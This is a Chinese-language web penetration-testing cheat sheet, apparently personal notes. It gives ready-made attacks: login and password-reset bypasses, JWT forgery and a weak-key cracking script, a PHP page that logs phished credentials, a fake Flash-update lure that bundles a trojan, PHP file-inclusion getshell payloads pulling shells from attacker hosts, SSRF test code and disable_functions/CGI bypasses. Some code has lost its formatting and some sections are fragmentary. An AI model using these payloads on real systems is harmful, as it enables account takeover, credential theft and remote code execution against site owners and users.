web服务突破

一些存在问题的逻辑

任意用户注册
可爆破用户名
爆破用户名,密码
用户名注入
万能密码
用户名Xss
修改返回包信息,登入他人账户
修改cookie中的参数,如user,adminid等
HTML源码、JS等查看信息搜集一章
后台登录参数修改为注册参数/reg、/register、/sign等
密码重置
1.重置一个账户,不发送验证码,设置验证码为空发送请求。
2.发送验证码,查看相应包
3.验证码生存期的爆破
4.修改相应包为成功的相应包
5.手工直接跳转到校验成功的界面
6.两个账户,重置别人密码时,替换验证码为自己正确的验证码
7.重置别人密码时,替换为自己的手机号
8.重置自己的成功时,同意浏览器重置别人的,不发验证码
9.替换用户名,ID,cookie,token参数等验证身份的参数
10.通过越权修改他人的找回信息如手机/邮箱来重置

JWT攻击手法

https://jwt.io/#debugger-io

未校验签名

将原JWT串解码后修改用户名等身份认证的地方,生成新token发送请求

禁用哈希

Alg代表加密方式,修改用户名等身份认证的地方,把HS256设置为none生成token发送请求,使用python的pyjwt模块
jwt.encode({'user':'admin','arg1':'value1','arg2':'value2'},algorithm='none',key='')

爆破弱密钥

>pip3 install pyjwt
>python3 crack.py
import jwt
import termcolor

jwt_str = R'token'
with open('/root/password.txt') as f:
for line in f:
key_ = line.strip()
try:
jwt.decode(jwt_str,verify=True,key=key_)
print('r','bfound key -->',termcolor.colored(key_,'green'),'<--')
break
except(jwt.exceptions.ExpiredSignatureError,jwt.exceptions.InvalidAudienceError,jwt.exceptions.InvalidIssuedAtError,jwt.exceptions.InvalidIssuedAtError,jwt.exceptions.ImmatureSignatureError):
print('r','bfound key -->',termcolor.colored(key_,'green'),'<--')
except jwt.exceptions.InvalidSignatureError:
print('r',' ' * 64, 'rbtry',key_,end='',flush=True)
continue
else:
print('r','bnot found.')

注入

注入无列名

XSS克隆钓鱼

保存js&css到服务器,登录action改为接受密码的文件action="./pass.php"
<?php //php
$user=$_POST['username'];
$pass=$_POST['password'];
$file=fopen('pass.txt','a+');
fwrite($file,$user."|"."pass" . "n");
fclose($file);
echo "<script>window.location.href="http://192.168.0.1"</script>n";
?>
构造payload
<script>window.location.href="http://192.168.0.1/login.html"</script>
php –S 0.0.0.0:8080 –t ./

伪造页面钓鱼

方法1
https://github.com/r00tSe7en/Fake-flash.cn
添加xss平台模块
window.alert = function(name){
var iframe = document.createElement("IFRAME");
iframe.style.display="none";
iframe.setAttribute("src",'data:text/plain');
document.documentElement.appendChild(iframe);
window.frames[0].window.alert(name);
iframe.parentNode.removeChild(iframe);
}
alert("您的FLASH版本过低,尝试升级后访问该页面!");
window.location.href="http://www.flash.com";
制作自解压捆绑
一个马.exe,一个正常exe,全选,winrar添加到压缩文件,选择创建自解压格式压缩文件,高级->自解压选项,设置解压路径,c:windowstemp,设置->解压后运行两个exe文件,模式全部隐藏,更新,解压并更新文件,覆盖所有文件。
ResourceHacker修改文件图标
方法2
if(empty($_COOKIE['flash'])){
echo '<script>alert("你当前计算机的Flash软件已经很久未更新,将导致无法正常显示界面内容,请下载安装最新版本!");window.location="http://www.flash.cn.xx.com/"</script>';
setcookie("flash","true",time()+30*2400);
}

CSRF

查看有无token等验证身份的参数,删掉后是否返回正常
查看header中referer,origin参数,删掉后是否返回正常
使用csrftester/burpsuite生成表单,以另一账号和浏览器打开测试
去掉referer中域名后面的文件夹或文件
替换二级域名

php任意文件读取/下载

readfile()、file_get_contents()、fopen()等读文件的函数不严谨,读取文件路径可控,输出内容。
下载配置文件
Redis、Weblogic、ftp、mysql、web配置文件、history文件、数据库配置文件
下载log文件
下载web文件
/1.php?f=../../etc/passwd
/1.php?f=file:///etc/passwd(file://绕过../的防护)
/1.php?f=file:///etc/passwd

php文件包含

函数:

include
require
include_once
require_once

常用协议

file:// — 访问本地文件系统
file协议的工作目录是当前目录,使用file:///wwwroot/1.php等同于./wwwroot/1.php可用于绕过一些情况
php:// — 访问各个输入/输出流(I/O streams)

allow_url_include 开启时Getshell

远程文件包含
/1.php?file=http://remote.com/shell.txt
/1.php?file=php://input POST:<?php phpinfo();?>
或使用curl
>curl -v "http://127.0.0.1:8888/ctf/cli/3.php?file=php://input" -d "<?php phpinfo();?>"
或使用data://协议解析base64的代码
/1.php?file=data://text/plain;base64,PD9waHAgIHBocGluZm8oKTs/Pg==

allow_url_include 关闭时Getshell

攻击机开启共享
/1.php?file=//attacker/1.php
创建webdav服务,shell文件放入目录包含即可
>docker run -v /root/webdav:/var/lib/dav -e ANONYMOUS_METHODS=GET,OPTIONS,PROPFIND -e LOCATION=/webdav -p 80:80 --rm --name webdav bytemark/webdav
Shell文件放入/root/webdav/data

/1.php?file=../../../../../../../var/log/apache2/access.log
Win下使用phpstudy
请求/<?php phpinfo();?>
包含错误日志
/1.php?file=C:phpStudyApachelogserror.log

上传个图片格式的木马直接包含

/1.php?file=/uploadfile/1.jpg

限制后缀时

<?php
$file = $_GET['file'].".php";
include($file);
?><br>
利用伪协议zip,构造一个zip压缩包,打包一个shell.php,将压缩包更名为png
请求/1.php?file=zip://shell.webp%23shell
也可使用phar协议访问
/1.php?file=phar://shell.webp/shell
老版本可以使用%00截断
/etc/passwd%00
(需要 magic_quotes_gpc=off,PHP小于5.3.4有效)
/var/www/%00
/etc/passwd/././././././.[…]/./././././.
(需要 magic_quotes_gpc=off
(php版本小于5.2.8(?)可以成功,linux需要文件名长于4096,windows需要长于256)
点号截断:
/boot.ini/………[…]…………
(php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256)

XML注入

闭合标签,改写xml文件,用户可控,有拼接代码
<?xml version="1.0" encoding="utf-8"?>

<username>admin</username>
<password>admin</password>

<admin id="2">

命令注入

有时应用程序会接受用户提供的输入并作为参数传递给命令行上的工具。将用户提供的输入传递给命令行总是一个坏主意,应该避免。根据操作系统,您可以使用多种技术来执行其他命令,从而允许攻击者获得 RCE
&
&&
|
||
;
`Command`
$(Command)

Xpath注入

类似sql注入

SSRF

定义
服务端请求伪造
构造一个由服务器发出请求的漏洞
服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制
成因
file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile()等函数使用不当会造成SSRF漏洞
挖掘
转码服务
在线翻译
获取超链接的标题等内容进行显示
请求远程服务器资源的地方,图片加载与下载(通过URL地址加载或下载图片)
图片、文章收藏功能
对外发起网络请求的地方,网站采集、网页抓取的地方。
头像 (远程加载头像)
一切要你输入网址的地方和可以输入ip的地方。
数据库内置功能(mongodb的copyDatabase函数)
邮件系统
文件处理
在线处理工具
从URL关键字中寻找:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain

攻击

测试代码,需安装phpcurl模块apt-get install php7.0-curl
<?php
echo 'r u ok?';
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>
对内网、本地进行端口扫描,获取服务的banner 信息
攻击运行在内网或本地的应用程序
对内网 WEB 应用进行指纹识别,通过访问默认文件实现(如:readme文件)
攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(如:Struts2,sqli)
读取内网资源(如:利用file协议读取本地文件等)
跳板
无视cdn
利用Redis未授权访问,HTTP CRLF注入实现getshell

LD_PRELOAD

http://192.168.0.107/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so
outpath是命令输出位置,sopath指定so文件路径。

替换php文件中的mail为error_log("a",1);

php7.0-7.3 bypass

直接bypass

$stroutput = $stdout->ReadAll();
echo $stroutput;

CGI启动方式

phpinfo中搜索server api是cgi或者fastcgi
如果是cgi模式:上传如下htaccess
Options ExecCGI
AddHandler cgi-script .xx
windows平台
#!C:/Windows/System32/cmd.exe /c start calc.exe

linux平台
#!/bin/bash
echo -ne "Content-Type: text:htmlnn"
whoami
如果是fast_cgi,上传如下htaccess
Options +ExecCGI
AddHandler fcgid-script .abc
FcgidWrapper "C:/Windows/System32/cmd.exe /c start cmd.exe" .abc
上传任意文件.abc
相对路径
AddHandler fcgid-script .html
FcgidWrapper "../../php/php7.3.4nts/php-cgi.exe" .html

AddHandler fcgid-script .xx
FcgidWrapper "../../../WWW/localhost/calc.exe" .xx
